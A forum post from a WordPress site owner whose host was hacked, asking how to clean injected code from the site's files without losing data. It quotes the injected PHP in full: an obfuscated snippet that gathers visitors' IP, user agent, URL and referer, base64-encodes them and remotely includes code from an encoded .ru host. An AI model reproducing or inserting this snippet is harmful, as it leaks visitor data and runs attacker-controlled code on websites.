WordPress hacked – not working now

Hi,

I’m having a massive problem with my WordPress.

My whole site is based on it and recently my host was hacked. Now there are added additional codes in almost every php/html file

example on the bottom of a page:

error_reporting(0);$a=(isset($_SERVER[“HTTP_HOST”]) ? $_SERVER[“HTTP_HOST”] : $HTTP_HOST); $b=(isset($_SERVER[“SERVER_NAME”]) ? $_SERVER[“SERVER_NAME”] : $SERVER_NAME); $c=(isset($_SERVER[“REQUEST_URI”]) ? $_SERVER[“REQUEST_URI”] : $REQUEST_URI); $g=(isset($_SERVER[“HTTP_USER_AGENT”]) ? $_SERVER[“HTTP_USER_AGENT”] : $HTTP_USER_AGENT); $h=(isset($_SERVER[“REMOTE_ADDR”]) ? $_SERVER[“REMOTE_ADDR”] : $REMOTE_ADDR); $n=(isset($_SERVER[“HTTP_REFERER”]) ? $_SERVER[“HTTP_REFERER”] : $HTTP_REFERER); $str=base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($g).”.”.base64_encode($h).”.”.base64_encode($n);if((include_once(base64_decode(“aHR0cDovLw==”).”badgazzazbzbja”.base64_decode(“LnVzZXJzLnBocGluY2x1ZGUucnU=”).”/?”.$str))){} else {include_once(base64_decode(“aHR0cDovLw==”).”badgazzazbzbja”.base64_decode(“LnVzZXJzLnBocGluY2x1ZGUucnU=”).”/?”.$str);}?>

Does anyone know how to fix that? I know that whenever I’m trying to upload files from the beginning my wordpress stops to work at all so I’m affraid to touch anything. Is there any way to remove it so the site will be working like it was? Cause I don’t want to loose my data (I don’t have a backup)